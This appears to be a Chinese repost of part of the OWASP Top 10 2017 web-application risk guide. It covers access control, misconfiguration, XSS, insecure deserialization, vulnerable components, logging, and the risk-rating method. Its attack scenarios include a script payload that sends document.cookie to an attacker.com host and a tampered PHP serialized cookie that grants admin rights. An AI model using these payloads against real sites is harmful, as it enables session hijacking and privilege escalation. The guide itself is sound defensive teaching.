訪問控制只有在受信服務(wù)器端代碼或沒有服務(wù)器的 API 中有效，這樣這樣攻擊者才無(wú)法修改訪問控制檢查或元數(shù)據(jù)。除公有資源外，默認(rèn)情況下拒絕訪問。使用一次性的訪問控制機(jī)制，并在整個(gè)應(yīng)用程序中不斷重用它們， 包括最小化CORS使用。 建立訪問控制模型以強(qiáng)制執(zhí)行所有權(quán)記錄，而不是接受用戶創(chuàng)建、 讀取、更新或刪除的任何記錄。 ?域訪問控制對(duì)每個(gè)應(yīng)用程序都是唯一的，但業(yè)務(wù)限制要求應(yīng)由域模型強(qiáng)制執(zhí)行。禁用 Web服務(wù)器目錄列表，并確保文件元數(shù)據(jù)（如：git）不存 在于 Web的根目錄中。記錄失敗的訪問控制，并在適當(dāng)時(shí)向管理員告警（如：重復(fù)故 障）。對(duì)API和控制器的訪問進(jìn)行速率限制，以最大限度地降低自動(dòng)化 攻擊工具的危害。當(dāng)用戶注銷后，服務(wù)器上的JWT令牌應(yīng)失效。
開發(fā)人員和 QA人員應(yīng)包括功能訪問控制單元和集成測(cè)試人員。

攻擊案例場(chǎng)景

場(chǎng)景 #1：應(yīng)用程序在訪問帳戶信息的 SQL調(diào)用中使用了未經(jīng)驗(yàn)證 的數(shù)據(jù)： pstmt.setString(1，request.getParameter("acct")); ResultSet results = pstmt.executeQuery( ); 攻擊者只需修改瀏覽器中的“acct”參數(shù)即可發(fā)送他們想要的任何 帳號(hào)信息。如果沒有正確驗(yàn)證，攻擊者可以訪問任何用戶的帳戶。 http://example.com/app/accountInfo?acct=notmyacct
場(chǎng)景 #2：攻擊者僅強(qiáng)制瀏覽目標(biāo)URL。管理員權(quán)限是訪問管理頁(yè) 面所必需的。 http://example.com/app/getappInfo http://example.com/app/admin_getappInfo 如果一個(gè)未經(jīng)身份驗(yàn)證的用戶可以訪問任何頁(yè)面，那么這是一個(gè) 缺陷。如果一個(gè)非管理員權(quán)限的用戶可以訪問管理頁(yè)面，那么這 同樣也是一個(gè)缺陷。
?

A6:安全配置錯(cuò)誤

?

應(yīng)用程序脆弱嗎？

您的應(yīng)用程序可能受到攻擊，如果應(yīng)用程序是：
? 應(yīng)用程序棧堆的任何部分都缺少適當(dāng)?shù)陌踩庸?#xff0c;或者云服務(wù)的 權(quán)限配置錯(cuò)誤。 ? 應(yīng)用程序啟用或安裝了不必要的功能（例如：不必要的端口、服 務(wù)、網(wǎng)頁(yè)、帳戶或權(quán)限）。 ? 默認(rèn)帳戶的密碼仍然可用且沒有更改。 ? 錯(cuò)誤處理機(jī)制向用戶披露堆棧跟蹤或其他大量錯(cuò)誤信息。 ? 對(duì)于更新的系統(tǒng)，禁用或不安全地配置最新的安全功能。 ? 應(yīng)用程序服務(wù)器、應(yīng)用程序框架（如：Struts、Spring、 ASP.NET）、庫(kù)文件、數(shù)據(jù)庫(kù)等沒有進(jìn)行安全配置。 ? 服務(wù)器不發(fā)送安全標(biāo)頭或指令，或者未對(duì)服務(wù)器進(jìn)行安全配置。 ? 您的應(yīng)用軟件已過期或易受攻擊（參見A9：2017-使用含有已知 漏洞的組件）。
缺少一個(gè)體系的、可重復(fù)的應(yīng)用程序安全配置過程，系統(tǒng)將處于高風(fēng)險(xiǎn)中。
?

如何防止?

應(yīng)實(shí)施安全的安裝過程，包括：
? 一個(gè)可以快速且易于部署在另一個(gè)鎖定環(huán)境的可重復(fù)的加固過程。 開發(fā)、質(zhì)量保證和生產(chǎn)環(huán)境都應(yīng)該進(jìn)行相同配置，并且，在每個(gè) 環(huán)境中使用不同的密碼。這個(gè)過程應(yīng)該是自動(dòng)化的，以盡量減少 安裝一個(gè)新安全環(huán)境的耗費(fèi)。
? 搭建最小化平臺(tái)，該平臺(tái)不包含任何不必要的功能、組件、文檔 和示例。移除或不安裝不適用的功能和框架。
? 檢查和修復(fù)安全配置項(xiàng)來適應(yīng)最新的安全說明、更新和補(bǔ)丁，并 將其作為更新管理過程的一部分，（參見A9：2017-使用含有已 知漏洞的組件）。在檢查過程中，應(yīng)特別注意云存儲(chǔ)權(quán)限（如： S3桶權(quán)限）。 ? 一個(gè)能在組件和用戶間提供有效的分離和安全性的分段應(yīng)用程 序架構(gòu)，包括：分段、容器化和云安全組。 ? 向客戶端發(fā)送安全指令，如：安全標(biāo)頭。 ? 在所有環(huán)境中能夠進(jìn)行正確安全配置和設(shè)置的自動(dòng)化過程。
?

攻擊案例場(chǎng)景

場(chǎng)景#1：應(yīng)用程序服務(wù)器附帶了未從產(chǎn)品服務(wù)器中刪除的應(yīng)用程 序樣例。這些樣例應(yīng)用程序具有已知的安全漏洞，攻擊者利用這 些漏洞來攻擊服務(wù)器。如果其中一個(gè)應(yīng)用程序是管理員控制臺(tái)， 并且沒有更改默認(rèn)賬戶，攻擊者就可以通過默認(rèn)密碼登錄，從而 接管服務(wù)器。 場(chǎng)景#2：目錄列表在服務(wù)器端未被禁用。攻擊者發(fā)現(xiàn)他們很容易 就能列出目錄列表。攻擊者找到并下載所有已編譯的Java類，他 們通過反編譯來查看代碼。然后，攻擊者在應(yīng)用程序中找到一個(gè) 嚴(yán)重的訪問控制漏洞。 場(chǎng)景#3：應(yīng)用服務(wù)器配置允許將詳細(xì)的錯(cuò)誤信（如：堆棧跟蹤信 息）返回給用戶，這可能會(huì)暴露敏感信息或潛在的漏洞，如：已 知含有漏洞的組件的版本信息。 場(chǎng)景#4：云服務(wù)向其他CSP用戶提供默認(rèn)的網(wǎng)絡(luò)共享權(quán)限。這允許攻擊者訪問存儲(chǔ)在云端的敏感數(shù)據(jù)。

?

A7:存儲(chǔ)XSS

應(yīng)用程序脆弱嗎?

存在三種XSS類型，通常針對(duì)用戶的瀏覽器： 反射式XSS：應(yīng)用程序或API包括未經(jīng)驗(yàn)證和未經(jīng)轉(zhuǎn)義的用戶輸入， 作為HTML輸出的一部分。一個(gè)成功的攻擊可以讓攻擊者在受害者 的瀏覽器中執(zhí)行任意的HTML和JavaScript。 通常，用戶將需要與指 向攻擊者控制頁(yè)面的某些惡意鏈接進(jìn)行交互，例如惡意漏洞網(wǎng)站， 廣告或類似內(nèi)容。
存儲(chǔ)式XSS：你的應(yīng)用或者API將未凈化的用戶輸入存儲(chǔ)下來了， 并在后期在其他用戶或者管理員的頁(yè)面展示出來。 存儲(chǔ)型XSS一 般被認(rèn)為是高危或嚴(yán)重的風(fēng)險(xiǎn)。
基于DOM的XSS：會(huì)動(dòng)態(tài)的將攻擊者可控的內(nèi)容加入頁(yè)面的 JavaScript框架、單頁(yè)面程序或API存在這種類型的漏洞。理想的 來說，你應(yīng)該避免將攻擊者可控的數(shù)據(jù)發(fā)送給不安全的JavaScript API。
典型的XSS攻擊可導(dǎo)致盜取session、賬戶、繞過MFA、DIV替換、 對(duì)用戶瀏覽器的攻擊（例如：惡意軟件下載、鍵盤記錄）以及其 他用戶側(cè)的攻擊。
?

如何防止？

防止XSS需要將不可信數(shù)據(jù)與動(dòng)態(tài)的瀏覽器內(nèi)容區(qū)分開。這可以 通過如下步驟實(shí)現(xiàn)：
? 使用設(shè)計(jì)上就會(huì)自動(dòng)編碼來解決XSS問題的框架，如：Ruby 3.0 或 React JS。了解每個(gè)框架的XSS保護(hù)的局限性，并適當(dāng)?shù)靥?理未覆蓋的用例。 ? 為了避免反射式或存儲(chǔ)式的XSS漏洞，最好的辦法是根據(jù)HTML 輸出的上下文（包括：主體、屬性、JavaScript、CSS或URL） 對(duì)所有不可信的HTTP請(qǐng)求數(shù)據(jù)進(jìn)行恰當(dāng)?shù)霓D(zhuǎn)義 。更多關(guān)于數(shù)據(jù) 轉(zhuǎn)義技術(shù)的信息見：《OWASP Cheat Sheet ‘XSS Prevention’》 。 ? 在客戶端修改瀏覽器文檔時(shí)，為了避免DOM XSS攻擊，最好的 選擇是實(shí)施上下文敏感數(shù)據(jù)編碼。如果這種情況不能避免，可以 采用《OWASP Cheat Sheet ‘DOM based XSS Prevention ‘》 描述的類似上下文敏感的轉(zhuǎn)義技術(shù)應(yīng)用于瀏覽器API。 ? 使用內(nèi)容安全策略（CSP）是對(duì)抗XSS的深度防御策略。如果 不存在可以通過本地文件放置惡意代碼的其他漏洞（例如：路徑 遍歷覆蓋和允許在網(wǎng)絡(luò)中傳輸?shù)囊资芄舻膸?kù)），則該策略是有效的。

攻擊案例場(chǎng)景

場(chǎng)景#1：應(yīng)用程序在下面HTML代碼段的構(gòu)造中使用未經(jīng)驗(yàn)證或轉(zhuǎn) 義的不可信的數(shù)據(jù)：
(String) page += "<input name='creditcard' type='TEXT‘ value='" + request.getParameter("CC“)+ "'>";
攻擊者在瀏覽器中修改“CC” 參數(shù)為如下值：
'><script>document.location= 'http://www.attacker.com/cgi-bin/cookie.cgi? foo='+document.cookie</script>'.
這個(gè)攻擊導(dǎo)致受害者的會(huì)話ID被發(fā)送到攻擊者的網(wǎng)站，使得攻擊 者能夠劫持用戶當(dāng)前會(huì)話。
注意：攻擊者同樣能使用跨站腳本攻破應(yīng)用程序可能使用的任何 跨站請(qǐng)求偽造（CSRF）防御機(jī)制。CSRF的詳細(xì)情況見2013年版中 的A8項(xiàng)。

?A8: 不安全的反序列化

?

應(yīng)用程序脆弱嗎？

如果反序列化進(jìn)攻者提供的敵意或者篡改過的對(duì)象將會(huì)使將應(yīng)用 程序和API變的脆弱。
這可能導(dǎo)致兩種主要類型的攻擊： ? 如果應(yīng)用中存在可以在反序列化過程中或者之后被改變行為的類， 則攻擊者可以通過改變應(yīng)用邏輯或者實(shí)現(xiàn)遠(yuǎn)程代碼執(zhí)行攻擊。我 們將其稱為對(duì)象和數(shù)據(jù)結(jié)構(gòu)攻擊。 ? 典型的數(shù)據(jù)篡改攻擊，如訪問控制相關(guān)的攻擊，其中使用了現(xiàn)有 的數(shù)據(jù)結(jié)構(gòu)，但內(nèi)容發(fā)生了變化。
在應(yīng)用程序中，序列化可能被用于: 遠(yuǎn)程和進(jìn)程間通信（RPC / IPC） ? 連線協(xié)議、Web服務(wù)、消息代理 ? 緩存/持久性 ? 數(shù)據(jù)庫(kù)、緩存服務(wù)器、文件系統(tǒng) ? HTTP cookie、HTML表單參數(shù)、API身份驗(yàn)證令牌.

?

如何防止？

唯一安全的架構(gòu)模式是不接受來自不受信源的序列化對(duì)象，或使 用只允許原始數(shù)據(jù)類型的序列化媒體。
如果上述不可能的話，考慮使用下述方法： ? 執(zhí)行完整性檢查，如：任何序列化對(duì)象的數(shù)字簽名，以防止惡 意對(duì)象創(chuàng)建或數(shù)據(jù)篡改。 ? 在創(chuàng)建對(duì)象之前強(qiáng)制執(zhí)行嚴(yán)格的類型約束，因?yàn)榇a通常被期 望成一組可定義的類。繞過這種技術(shù)的方法已經(jīng)被證明，所以 完全依賴于它是不可取的。 ? 如果可能，隔離運(yùn)行那些在低特權(quán)環(huán)境中反序列化的代碼。 ? 記錄反序列化的例外情況和失敗信息，如：傳入的類型不是預(yù) 期的類型，或者反序列處理引發(fā)的例外情況。 ? 限制或監(jiān)視來自于容器或服務(wù)器傳入和傳出的反序列化網(wǎng)絡(luò)連 接。 ? 監(jiān)控反序列化，當(dāng)用戶持續(xù)進(jìn)行反序列化時(shí)，對(duì)用戶進(jìn)行警告.

攻擊案例場(chǎng)景

場(chǎng)景 #1：一個(gè)React應(yīng)用程序調(diào)用了一組Spring Boot微服務(wù)。作 為功能性程序員，他們?cè)噲D確保他們的代碼是不可變的。他們提 出的解決方法是序列化用戶狀態(tài)，并在每次請(qǐng)求時(shí)來回傳遞。攻 擊者注意到了“R00”Java對(duì)象簽名，并使用Java Serial Killer工 具在應(yīng)用服務(wù)器上獲得遠(yuǎn)程代碼執(zhí)行。
場(chǎng)景 #2：一個(gè)PHP論壇使用PHP對(duì)象序列化來保存一個(gè)“超 級(jí)”cookie。該cookie包含了用戶的用戶ID、角色、密碼哈希和其 他狀態(tài)： a:4:{i:0;i:132;i:1;s:7:"Mallory";i:2;s:4:"user"; i:3;s:32:"b6a8b3bea87fe0e05022f8f3c88bc960";} 攻擊者更改序列化對(duì)象以授予自己為admin權(quán)限： a:4:{i:0;i:1;i:1;s:5:"Alice";i:2;s:5:"admin"; i:3;s:32:"b6a8b3bea87fe0e05022f8f3c88bc960";}

?

A9：使用含有已知漏洞的組件

應(yīng)用程序脆弱嗎?
如果滿足下面的某個(gè)條件，那么你的應(yīng)用就易受此類攻擊：
? 如果你不知道所有使用的組件版本信息（包括：服務(wù)端和客戶 端）。這包括了直接使用的組件或其依賴的組件。 ? 如果軟件易受攻擊，不再支持或者過時(shí)。這包括：OS、Web服 務(wù)器、應(yīng)用程序服務(wù)器、數(shù)據(jù)庫(kù)管理系統(tǒng)（DBMS）、應(yīng)用程序、 API和所有的組件、運(yùn)行環(huán)境和庫(kù)。 ? 如果你不會(huì)定期做漏洞掃描和訂閱你使用組件的安全公告。 ? 如果你不基于風(fēng)險(xiǎn)并及時(shí)修復(fù)或升級(jí)底層平臺(tái)、框架和依賴庫(kù)。 很可能發(fā)生這種情況：根據(jù)變更控制，每月或每季度進(jìn)行升級(jí)， 這使得組織在這段時(shí)間內(nèi)會(huì)受到已修復(fù)但未修補(bǔ)的漏洞的威脅。 ? 如果軟件工程師沒有對(duì)更新的、升級(jí)的或打過補(bǔ)丁的組件進(jìn)行兼 容性測(cè)試。 ? 如果你沒有對(duì)組件進(jìn)行安全配置（請(qǐng)參考“A6:2017-安全配置錯(cuò) 誤”）。

?

如何防止?

應(yīng)該制定一個(gè)補(bǔ)丁管理流程：
? 移除不使用的依賴、不需要的功能、組件、文件和文檔。 ? 利用如 versions、DependencyCheck 、retire.js等工具來持續(xù)的 記錄客戶端和服務(wù)器端以及它們的依賴庫(kù)的版本信息。持續(xù)監(jiān)控 如CVE 和 NVD等是否發(fā)布已使用組件的漏洞信息，可以使用軟 件分析工具來自動(dòng)完成此功能。訂閱關(guān)于使用組件安全漏洞的警 告郵件。 ? 僅從官方渠道安全的獲取組件，并使用簽名機(jī)制來降低組件被篡 改或加入惡意漏洞的風(fēng)險(xiǎn) ? 監(jiān)控那些不再維護(hù)或者不發(fā)布安全補(bǔ)丁的庫(kù)和組件。如果不能打 補(bǔ)丁，可以考慮部署虛擬補(bǔ)丁來監(jiān)控、檢測(cè)或保護(hù)。
每個(gè)組織都應(yīng)該制定相應(yīng)的計(jì)劃，對(duì)整個(gè)軟件生命周期進(jìn)行監(jiān)控、 評(píng)審、升級(jí)或更改配置。

攻擊案例場(chǎng)景

場(chǎng)景 #1：很多時(shí)候組件都是以與應(yīng)用相同的權(quán)限運(yùn)行的，這使得 組件里的缺陷可能導(dǎo)致各式各樣的問題。這些缺陷可能是偶然的 （如：編碼錯(cuò)誤），也可能是蓄意的（如：組件里的后門）。下 面是一些已被利用的漏洞： ? CVE-2017-5638，一個(gè)Struts2遠(yuǎn)程執(zhí)行漏洞。 可在服務(wù)端遠(yuǎn)程 執(zhí)行代碼，并已造成巨大的影響。 ? 雖然物聯(lián)網(wǎng)（IoT）設(shè)備一般難以通過打補(bǔ)丁來修復(fù)。但對(duì)之打 補(bǔ)丁非常重要（如：醫(yī)療設(shè)備）。有些自動(dòng)化工具能幫助攻擊者發(fā)現(xiàn)未打補(bǔ)丁的或配置不正確的系 統(tǒng)。例如 ：Shodan IOT搜索引擎能幫助你發(fā)現(xiàn)從2014年四月至 今仍存在心臟出血漏洞 的設(shè)備。

?

A10:不足的日志記錄和監(jiān)控

應(yīng)用程序脆弱嗎？

下列情況會(huì)導(dǎo)致不足的日志記錄、檢測(cè)、監(jiān)控和響應(yīng)： ? 未記錄可審計(jì)性事件，如：登錄、登錄失敗和高額交易。 ? 告警和錯(cuò)誤事件未能產(chǎn)生或產(chǎn)生不足的和不清晰的日志信息。 ? 沒有利用應(yīng)用系統(tǒng)和API的日志信息來監(jiān)控可疑活動(dòng)。 ? 日志信息僅在本地存儲(chǔ)。 ? 沒有定義合理的告警閾值和制定響應(yīng)處理流程。 ? 滲透測(cè)試和使用DAST工具（如：OWASP ZAP）掃描沒有觸 發(fā)告警 ? 對(duì)于實(shí)時(shí)或準(zhǔn)實(shí)時(shí)的攻擊，應(yīng)用程序無(wú)法檢測(cè)、處理和告警。
如果你的應(yīng)用使得日志信息或告警信息對(duì)用戶或者攻擊者可見， 你就很容易遭受信息泄露攻擊（請(qǐng)參考A3：2017-敏感信息泄露）.

?

如何防止?

根據(jù)應(yīng)用程序存儲(chǔ)或處理的數(shù)據(jù)的風(fēng)險(xiǎn)：: ? 確保所有登錄、訪問控制失敗、輸入驗(yàn)證失敗能夠被記錄到日 志中去，并保留足夠的用戶上下文信息，以識(shí)別可疑或惡意帳 戶，并為后期取證預(yù)留足夠時(shí)間。 ? 確保日志以一種能被集中日志管理解決方案使用的形式生成 ? 確保高額交易有完整性控制的審計(jì)信息，以防止篡改或刪除， 例如審計(jì)信息保存在只能進(jìn)行記錄增加的數(shù)據(jù)庫(kù)表中。 ? 建立有效的監(jiān)控和告警機(jī)制，使可疑活動(dòng)在可接受的時(shí)間內(nèi)被 發(fā)現(xiàn)和應(yīng)對(duì)。 ? 建立或采取一個(gè)應(yīng)急響應(yīng)機(jī)制和恢復(fù)計(jì)劃，例如：NIST 80061 rev 2或更新版本。
目前已有商業(yè)的和開源的應(yīng)用程序防護(hù)框架（例如：OWASP AppSensor）、Web應(yīng)用防火墻（例如 ：Modsecurity with the OWASP Core Rule Set）、帶有自定義儀表盤和告警功能的日志關(guān)聯(lián)軟件。

?

攻擊案例場(chǎng)景

場(chǎng)景#1：一個(gè)由小團(tuán)隊(duì)運(yùn)營(yíng)的開源項(xiàng)目論壇軟件被攻擊者利用其 內(nèi)在漏洞攻陷了。 攻擊者設(shè)法刪除了包含下一個(gè)版本的內(nèi)部源代 碼倉(cāng)庫(kù)以及所有論壇內(nèi)容。 雖然代碼可以恢復(fù)，但由于缺乏監(jiān)控、 日志記錄和告警導(dǎo)致了更糟糕的結(jié)果。 由于此問題，該論壇軟件 項(xiàng)目不再活躍。
場(chǎng)景#2：攻擊者使用通用密碼進(jìn)行用戶掃描并能獲取所有使用此 密碼的賬戶。對(duì)于其他賬戶而言，將僅有一次失敗的登陸嘗試記 錄。一段時(shí)間以后，攻擊者可以用另一個(gè)密碼再次進(jìn)行此活動(dòng)。
場(chǎng)景#3：美國(guó)的一家大型零售商據(jù)內(nèi)部使用惡意軟件分析沙箱做 分析。 沙箱軟件檢測(cè)到了一些可能不需要的軟件，但沒有人響應(yīng)此次檢測(cè)。 在一個(gè)境外銀行不正當(dāng)?shù)男庞每ń灰妆粰z測(cè)到之前， 該沙箱軟件一直在產(chǎn)生告警信息。

?

?

6、開發(fā)人員下一步做什么

?

建立并使用可重復(fù)使用的安全流程和標(biāo)準(zhǔn)安全控制

無(wú)論您是剛接觸Web應(yīng)用程序安全，還是已經(jīng)非常熟悉各種安全風(fēng)險(xiǎn)，創(chuàng)建一個(gè)安全的Web應(yīng)用程序或修復(fù)一個(gè)已 存在的應(yīng)用程序的任務(wù)都可能很困難。若您需要管理一個(gè)大型的應(yīng)用程序系統(tǒng)群，那任務(wù)將十分艱巨。 為幫助企業(yè)和開發(fā)人員以節(jié)省成本的方式降低應(yīng)用程序的安全風(fēng)險(xiǎn)，OWASP創(chuàng)建了相當(dāng)多的免費(fèi)和開源的資源。 您可以使用這些資源來解決您企業(yè)組織的應(yīng)用程序安全問題。以下內(nèi)容是OWASP為幫助企業(yè)組織創(chuàng)建安全的Web應(yīng)用 程序和API提供的一些資源。在下一頁(yè)中，我們將展示其它可以幫助企業(yè)用于檢查Web應(yīng)用程序和接口安全性的OWASP 資源。
?

?

7、安全測(cè)試人員下一步做什么？

建立持續(xù)性的應(yīng)用安全測(cè)試

安全編碼很重要。但驗(yàn)證你想達(dá)到的安全性是否真實(shí)存在、是否正確、是否像我們想的那樣也很關(guān)鍵。應(yīng)用程序安全測(cè)試的目標(biāo) 是提供這些證據(jù)。這項(xiàng)工作困難而復(fù)雜，敏捷和DevOps當(dāng)前快速發(fā)展的過程給傳統(tǒng)的方法和工具帶來的極大的挑戰(zhàn)。因此，我們強(qiáng)烈 建議你思考如何專注于整個(gè)應(yīng)用程序組合中重要的地方，并且低成本高收益。
當(dāng)前安全風(fēng)險(xiǎn)變化很快，每年進(jìn)行一次的掃描或滲透測(cè)試的日子已經(jīng)過去了。現(xiàn)代軟件開發(fā)需要在整個(gè)軟件開發(fā)生命周期中進(jìn)行 持續(xù)的應(yīng)用安全測(cè)試。通過安全自動(dòng)化來加強(qiáng)現(xiàn)有的開發(fā)管道并不會(huì)減緩開發(fā)速度。無(wú)論你選擇哪種方法，都需考慮一下每年隨著應(yīng) 用系統(tǒng)的規(guī)模倍增的定期測(cè)試、修復(fù)、復(fù)測(cè)并重新部署應(yīng)用程序的成本。

?

8、企業(yè)組織下一步做什么？

現(xiàn)在就啟動(dòng)您的應(yīng)用程序安全計(jì)劃

應(yīng)用程序安全已經(jīng)不再是一個(gè)選擇了。在日益增長(zhǎng)的攻擊和監(jiān)管的壓力下，企業(yè)組織必須建立一個(gè)有效的能力去確保應(yīng)用程序和 API的安全。由于在生產(chǎn)環(huán)境中的應(yīng)用程序和APIs的代碼行數(shù)驚人，許多企業(yè)組織都在努力處理數(shù)量巨大的漏洞。
OWASP建議這些企業(yè)組織建立一個(gè)應(yīng)用程序安全計(jì)劃，深入了解并改善它們的應(yīng)用程序組合的安全性。為了實(shí)現(xiàn)應(yīng)用程序的安 全性，需要企業(yè)組織中的不同部門之間有效地協(xié)同工作，這包括安全和審計(jì)、軟件開發(fā)、商業(yè)和執(zhí)行管理。安全應(yīng)該可視化和可量化， 讓所有不同角色的人都可以看到并理解企業(yè)組織的應(yīng)用程序的安全態(tài)勢(shì)。通過消除或降低風(fēng)險(xiǎn)的方式專注于活動(dòng)和結(jié)果，以幫助提高 企業(yè)安全性。《OWASP SAMM》和首席信息官的《OWASP應(yīng)用安全指南》是這個(gè)列表中大多數(shù)關(guān)鍵活動(dòng)的來源。

?

9、應(yīng)用程序管理者下一步做什么

管理完整的應(yīng)用程序生命周期

應(yīng)用程序是人創(chuàng)建和維護(hù)的最復(fù)雜的系統(tǒng)之一。應(yīng)用程序的IT管理應(yīng)該由IT專家來完成，并且由專家們負(fù)責(zé)應(yīng)用程序的整 個(gè)IT生命周期。
我們建議建立應(yīng)用程序管理器的角色對(duì)等于應(yīng)用程序所有者。應(yīng)用程序管理器負(fù)責(zé)整個(gè)應(yīng)用程序生命周期，從嘗嘗被忽視 的IT角度，這包含收集需求到系統(tǒng)下線的過程。

10、關(guān)于風(fēng)險(xiǎn)的備注說明

這里講述的是弱點(diǎn)表現(xiàn)出的風(fēng)險(xiǎn)

Top 10 的風(fēng)險(xiǎn)評(píng)級(jí)方法基于《OWASP風(fēng)險(xiǎn)評(píng)級(jí)方法》。對(duì)于Top 10中每一項(xiàng)，我們通過查看每個(gè)常見漏洞一般 情況下的可能性因素和影響因素，評(píng)估了每個(gè)漏洞對(duì)于典型的Web應(yīng)用程序造成的典型風(fēng)險(xiǎn)，然后根據(jù)漏洞給應(yīng)用程序 帶來的風(fēng)險(xiǎn)程度的不同來對(duì)Top 10進(jìn)行分級(jí)。隨著變化，這些因素會(huì)隨著每一個(gè)新的Top 10發(fā)布而更新。
《OWASP風(fēng)險(xiǎn)評(píng)級(jí)方法》定義了許多用于計(jì)算漏洞風(fēng)險(xiǎn)等級(jí)的因素。但是，Top 10應(yīng)該討論普遍性，而不是在真 實(shí)的應(yīng)用程序和APIs中討論具體的漏洞的風(fēng)險(xiǎn)。因此，我們無(wú)法像系統(tǒng)所有者那樣精確計(jì)算應(yīng)用程序中的風(fēng)險(xiǎn)高低。我 們也不知道您的應(yīng)用程序和數(shù)據(jù)有多重要、您的威脅代理是什么或是您的系統(tǒng)是如何架構(gòu)和如何操作的。
我們的方法包含三種可能性因素（普遍性、可檢測(cè)性和可利用性）和一個(gè)影響因素（技術(shù)影響）。每個(gè)因素的風(fēng)險(xiǎn) 等級(jí)從低等級(jí)-1到高等級(jí)-3不等。漏洞的普遍性我們通常無(wú)需計(jì)算。我們已經(jīng)從多個(gè)不同的企業(yè)組織提供的普遍性統(tǒng)計(jì) 數(shù)據(jù)(參見第25頁(yè)的致謝)。我們?nèi)×诉@些數(shù)據(jù)的平均數(shù)得到了根據(jù)普遍性排序的10種最可能存在的漏洞。然后將這些數(shù) 據(jù)和其他兩個(gè)可能性因素結(jié)合（可檢測(cè)性和可利用性），用于計(jì)算每個(gè)漏洞的可能性等級(jí)。然后用每個(gè)漏洞的可能性等 級(jí)乘以我們估計(jì)的每個(gè)漏洞的平均技術(shù)影響，從而得到了Top 10列表中每一項(xiàng)的總的風(fēng)險(xiǎn)等級(jí)（結(jié)果越高，風(fēng)險(xiǎn)越高）。 可檢測(cè)性、可利用性、從分析報(bào)告的CVEs中得出的影響，這些都與Top 10中的每個(gè)類別有關(guān)聯(lián)。
注意：這個(gè)方法既沒有考慮威脅來源的可能性，也沒有考慮任何與您的特定應(yīng)用程序相關(guān)的技術(shù)細(xì)節(jié)。這些因素都 可以極大影響攻擊者發(fā)現(xiàn)和利用某個(gè)漏洞的整體可能性。這個(gè)等級(jí)同樣沒有將對(duì)您業(yè)務(wù)的實(shí)際影響考慮進(jìn)去。您的企業(yè) 組織需要參照自身的企業(yè)文化、行業(yè)以及監(jiān)管環(huán)境，確定企業(yè)組織可以承受的應(yīng)用安全和API的風(fēng)險(xiǎn)有多大。OWASP Top 10的目的并不是替您做這一風(fēng)險(xiǎn)分析。
下面是我們以A6:2017-安全配置錯(cuò)誤風(fēng)險(xiǎn)為例，計(jì)算其風(fēng)險(xiǎn)。

?

11、關(guān)于風(fēng)險(xiǎn)因素的詳細(xì)說明

Top 10風(fēng)險(xiǎn)因素總結(jié)
? ? ? 下面的表格總結(jié)了2017年版Top 10應(yīng)用程序安全風(fēng)險(xiǎn)因素，以及我們賦予每個(gè)風(fēng)險(xiǎn)因素的風(fēng)險(xiǎn)值。這些因素基于 OWASP團(tuán)隊(duì)擁有的統(tǒng)計(jì)數(shù)據(jù)和經(jīng)驗(yàn)而決定。為了了解某個(gè)特定的應(yīng)用程序或者企業(yè)組織的風(fēng)險(xiǎn)，您必須考慮您自己的威 脅代理和業(yè)務(wù)影響。如果沒有相應(yīng)位置上的威脅代理去執(zhí)行必要的攻擊，或者產(chǎn)生的業(yè)務(wù)影響微不足道，那么就是再嚴(yán) 重的軟件漏洞也不會(huì)導(dǎo)致一個(gè)嚴(yán)重的安全風(fēng)險(xiǎn)。

?

總結(jié)

以上是生活随笔為你收集整理的OWASP TOP 10 2017版本的全部?jī)?nèi)容，希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網(wǎng)站內(nèi)容還不錯(cuò)，歡迎將生活随笔推薦給好友。